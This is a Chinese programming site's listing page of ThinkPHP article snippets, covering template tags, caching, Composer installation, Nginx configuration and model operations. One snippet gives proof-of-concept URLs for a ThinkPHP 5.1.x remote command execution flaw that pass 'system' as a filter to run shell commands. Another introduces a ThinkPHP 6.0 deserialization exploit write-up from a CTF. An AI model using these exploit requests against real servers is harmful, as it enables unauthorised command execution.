手机版
热门标签
站点地图
我要投稿
广告合作
联系我们
搜 索
广告位招租
广告位招租
切换导航
首页
编程教程
编程导航
编程百科
编程问答
编程博文
编程实例
硬件设备
网络运营
软件教程
移动数码
办公软件
操作系统
人工智能
栏目导航
▸ 编程语言
▸ 前端开发
▸ 移动开发
▸ 开发工具
▸ 程序设计
▸ 行业应用
▸ CMS系统
▸ 服务器
▸ 数据库
公众号推荐
微信公众号搜
"智元新知"
关注
微信扫一扫可直接关注哦!
子栏目导航
PHP
Java
Java SE
Python
NumPy
C#
C&C++
Ruby
VB
asp.Net
Go
Perl
netty
gRPC
Django
Delphi
Jsp
.NET Core
Spring
Flask
Springboot
SpringMVC
Spring Cloud
Lua
fastadmin
Laravel
Mybatis
Asp
Groovy
ThinkPHP
Yii
swoole
编程之家
ThinkPHP
thinkphp中的volist标签详解
本文通过实例案例给大家介绍了thinkphp中的volist标签,本文给大家介绍的非常详细,具有参考借鉴价值,需要的朋友参考下吧,希望能帮助到大家。八重樱:怎么从一名码农成为架构师的必看知识点:目录大全(不定期更新)属性:name(必须):要输出的数据模板变量id(必须):循环变量offset(可选):要输出数
作者:编程之家 时间:2022-10-08
composer安装指定版本的ThinkPHP
composer默认的官方软件仓库在国外,如果不翻墙下载速度很慢。通过composer安装ThinkPHP有两种方法:第一种:composercreate-projecttopthinkhink[:版本号]<安装路径>composercreate-projecttopthinkhink:5.1.20ThinkPHP_5.1.20第二种:先创建composer.json文件,
作者:编程之家 时间:2022-10-08
最完美ThinkPHP Nginx 配置文件
一个配置文件,完美支持普通,兼容,pathinfo,rewrite4种url模式,别怪我没提醒你收藏哦.常见的静态文件404时也不会再去跑一遍fastcgi浪费资源。 server{listen80;server_namelocalhost;root/var/www;indexindex.htmlindex.htmindex.php;
作者:编程之家 时间:2022-10-08
php手记之05-tp5模型操作数据库
#实例化模型//$user=newUser;//$user1=newUser();//$user2=model('user');//添加一条数据#方法1//$user1=newUser();//$user1->name='phpthink';//$user1->age=89;//
作者:编程之家 时间:2022-10-08
ThinkPHP sql查询
ThinkPHP内置的ORM和ActiveRecord模式实现了方便的数据存取操作,而且新版增加的连贯操作功能更是让这个数据操作更加清晰,但是ThinkPHP仍然保留了原生的SQL查询和执行操作支持,为了满足复杂查询的需要和一些特殊的数据操作,SQL查询的返回值因为是直接返回的Db类的查询结果,没有做任何的
作者:编程之家 时间:2022-10-08
thinkphp Trace方法
页面Trace只能用于有页面输出的情况,但是trace方法可以用在任何情况,而且trace方法可以用于AJAX等操作。Trace方法的格式:trace('变量','标签','级别','是否记录日志')大理石平台厂家例如:$info='测试信息';trace($info,'提示');如果希望把变量调试输出到页面Trace的某个选
作者:编程之家 时间:2022-10-08
thinkphp 快速缓存
如果你的存储数据没有有效期的需求,那么系统还提供了一个快速缓存方法F可以用来更快的操作。大理石平台厂家F方法可以支持不同的存储类型,如果是文件类型的话,默认保存在DATA_PATH目录下面。快速缓存Data数据F('data',$Data);快速缓存Data数据,保存到指定的目录F('data',$D
作者:编程之家 时间:2022-10-08
thinkphp 跳转和重定向
页面跳转在应用开发中,经常会遇到一些带有提示信息的跳转页面,例如操作成功或者操作错误页面,并且自动跳转到另外一个目标页面。系统的\Think\Controller类内置了两个跳转方法success和error,用于页面跳转提示,而且可以支持ajax提交。使用方法很简单,举例如下:$User=M('User');//
作者:编程之家 时间:2022-10-08
thinkphp for标签
用法:大理石平台厂家<forstart="开始值"end="结束值"comparison=""step="步进值"name="循环变量名"></for>开始值、结束值、步进值和循环变量都可以支持变量,开始值和结束值是必须,其他是可选。comparison的默认值是lt;;name的默认值是i,步进值的默认值是1,举例如下:<for
作者:编程之家 时间:2022-10-08
thinkphp empty标签
empty标签用于判断某个变量是否为空,用法:大理石平台检验标准<emptyname="name">name为空值</empty>如果判断没有赋值,可以使用:<notemptyname="name">name不为空<otempty>可以把上面两个标签合并成为:<emptyname="name">name为空<else/>name
作者:编程之家 时间:2022-10-08
thinkphp 标签嵌套
模板引擎支持标签的多层嵌套功能,可以对标签库的标签指定可以嵌套。直线电机价格系统内置的标签中,volist、switch、if、elseif、else、foreach、compare(包括所有的比较标签)、(not)present、(not)empty、(not)defined等标签都可以嵌套使用。例如:<volistname="list"id="vo"><volist
作者:编程之家 时间:2022-10-08
thinkphp 自动加载
在3.2中,基本上无需手动加载类库文件,你可以很方便的完成自动加载。命名空间自动加载系统可以通过类的命名空间自动定位到类库文件,例如:我们定义了一个类 Org\Util\Auth 类:namespaceOrg\Util;classAuth{}保存到 ThinkPHP/Library/Org/Util/Auth.class.php。接下来,我
作者:编程之家 时间:2022-10-08
ThinkPHP6.0学习之安装及问题解决
ThinkPHP6.0学习之安装及问题解决ThinkPHP6.0开发版已经上线了,我已经等了他很久了,现在写一个系列来记录Thinkphp6.0的使用,我们现在从安装开始学习吧。首先我们要确定ThinkPHP的环境要求,PHP最低要求是7.1.0,所以我们需要安装一个版本高于或同等于7.1.0的PHP版本,我知道怎么
作者:编程之家 时间:2022-10-08
thinkphp 文件上传
上传表单在ThinkPHP中使用上传功能无需进行特别处理。例如,下面是一个带有附件上传的表单提交:<formaction="__URL__/upload"enctype="multipart/form-data"method="post"><inputtype="text"name="name"/><inputtype="file"
作者:编程之家 时间:2022-10-08
thinkphp关于本地引用图片
路由到重定向地址重定向的外部地址必须以“/”或者http开头的地址。如果路由地址以“/”或者“http”开头则会认为是一个重定向地址或者外部地址,例如:/static/admin/image/one/苹果.PNG将会前往如下地址:http://localhost:8080/static/admin/image/one/苹果.PNG 默认入口
作者:编程之家 时间:2022-10-08
ThinkPHP 5.1.x远程命令执行漏洞利用, 参考POC
thinkphp5.1.1为例1、代码执行:http://192.168.0.108/public//index.php?s=index/\think\Request/input&filter=phpinfo&data=1 2、命令执行:http://192.168.0.108/public//index.php?s=index/\think\Request/input&filter=system&data=dir
作者:编程之家 时间:2022-10-08
ThinkPHP模型基础类提供的连贯操作方法
ThinkPHP模型基础类提供的连贯操作方法(也有些框架称之为链式操作),可以有效的提高数据存取的代码清晰度和开发效率,并且支持所有的CURD操作。直线电机哪家好使用也比较简单,假如我们现在要查询一个User表的满足状态为1的前10条记录,并希望按照用户的创建时间排序,代码如下:$User->w
作者:编程之家 时间:2022-10-08
thinkphp url生成
为了配合所使用的URL模式,我们需要能够动态的根据当前的URL设置生成对应的URL地址,为此,ThinkPHP内置提供了U方法,用于URL的动态生成,可以确保项目在移植过程中不受环境的影响。定义规则U方法的定义规则如下(方括号内参数根据实际应用决定):U('地址表达式',['参数'],['伪静态后缀'],['
作者:编程之家 时间:2022-10-08
ThinkPHP v6.0.x 反序列化漏洞利用
前言:上次做了成信大的安询杯第二届CTF比赛,遇到一个tp6的题,给了源码,目的是让通过pop链审计出反序列化漏洞。这里总结一下tp6的反序列化漏洞的利用。0x01环境搭建现在tp新版本的官网不开源了,但是可以用composer构建环境,系统需先安装composer。然后执行命令:composercreate-pro
作者:编程之家 时间:2022-10-08
Thinkphp解决phpExcel导出数据量大导致内存溢出
工作需要导出几万的数据量。操作比较频繁。之前数据在七八千是数据导出很慢。phpExcel是方便但是性能一般。现在改为使用csv导出数据;可以缓解内存压力,一次导出两三万是没问题的。当然服务器内存给力,加上数据库优化相信这个还是比较方便的。具体方法如下:在Think文件下新建Csv.cla
作者:编程之家 时间:2022-10-08
thinkphp 三元运算
模板可以支持三元运算符,例如:{$status?'正常':'错误'}{$info['status']?$info['msg']:$info['error']}注意:三元运算符中暂时不支持点语法。 大理石平台厂家
作者:编程之家 时间:2022-10-08
thinkphp DEFINE标签
DEFINE标签用于中模板中定义常量,用法如下:直线电机厂家<definename="MY_DEFINE_NAME"value="3"/>在运行模板的时候,就会定义一个MY_DEFINE_NAME的常量。value属性可以支持变量(包括系统变量),例如:<definename="MY_DEFINE_NAME"value="$name"/>或者<definena
作者:编程之家 时间:2022-10-08
thinkphp 数据缓存
在ThinkPHP中进行缓存操作,一般情况下并不需要直接操作缓存类,因为系统内置对缓存操作进行了封装,直接采用S方法即可,例如:缓存初始化//缓存初始化S(array('type'=>'xcache','expire'=>60));缓存初始化可以支持的参数根据不同的缓存方式有所区别,常用的参数是:参数描述expi
作者:编程之家 时间:2022-10-08
ThinkPHP 微信小程序-消息推送配置 Token校验失败,请检查确认
publicfunctionvalid(){if(isset($_GET["echostr"])){$echoStr=$_GET["echostr"];//validsignature,optionif(!$this->token){thrownewException('tokenis
作者:编程之家 时间:2022-10-08
富丽源易所笔记:thinkphp开发 时遇到如下问题
php在网络请求时间歇性出现php_network_getaddresses:getaddrinfonameorserviceunkonwn问题这是因为dns解析服务问题,服务端重启apach,php即可如果还解决不了,需要配置etc/hosts192.168.1.1————————————————加载类require('MySQL.class.php');require('MySQL.cla
作者:编程之家 时间:2022-10-08
新增数据
第一种是实例化模型对象后赋值并保存:$user=newUser;$user->name='thinkphp';$user->email='
[email protected]
';$user->save();也可以使用data方法批量赋值:$user=newUser;$user->data(['name'=>'thinkphp&
作者:编程之家 时间:2022-10-08
PHP 生成压缩包,PHP多个文件合并成压缩包,PHP压缩包, PHP ZipArchive thinkphp 将多个文件合并成压缩包
thinkphp怎么将文件夹压缩成zipthinkphp将多个文件合并成压缩包、此功能是依赖于thinkphp //要合并压缩的文件$files[0]='Uploads/baojia_excelihao【CG20200402001】采购单(1).xls';$files[1]='Uploads/baojia_excel/分类【CG2020040200
作者:编程之家 时间:2022-10-08
thinkphp无限分类模块实现
数据表结构如下: 控制器核心代码:<?phpnamespaceapp\index\controller;usethink\Controller;classGoodsextendsController{publicfunctionproduct_category(){return$this->fetch();}publicfunctionproduct_category_add()
作者:编程之家 时间:2022-10-08
thinkphp网址应用之QQ授权登录
1.QQ封装类<?phpclass QQ{ public static $version = "2.0"; public static $getAuthCodeUrl = "https://graph.qq.com/oauth2.0/authorize"; public static $getAccessTokenUrl = "https://graph.qq.com/oauth2.0oken&q
作者:编程之家 时间:2022-10-08
8.ThinkPHP视图
视图的组成此处所说的视图就是MVC中所说的V层,视图层也要展示层。thinkphp中视图层是由HTML模板文件组成的。也可以说视图跟模板一个意思模板的定义为了对模板文件更加有效的管理,ThinkPHP对模板文件进行目录划分,默认的模板文件定义规则是:视图目录(view)/控制器名(小写)/方法名(小
作者:编程之家 时间:2022-10-08
上一页
5
6
7
8
9
10
11
12
下一页
小编推荐
热门标签
更多
python
JavaScript
java
HTML
reactjs
C#
Android
CSS
Node.js
sql
r
python-3.x
MysqL
jQuery
c++
pandas
Flutter
angular
IOS
django
linux
swift
typescript
路由器
JSON
路由器设置
无线路由器
h3c
华三
华三路由器设置
华三路由器
电脑软件教程
arrays
docker
软件图文教程
C
vue.js
laravel
spring-boot
react-native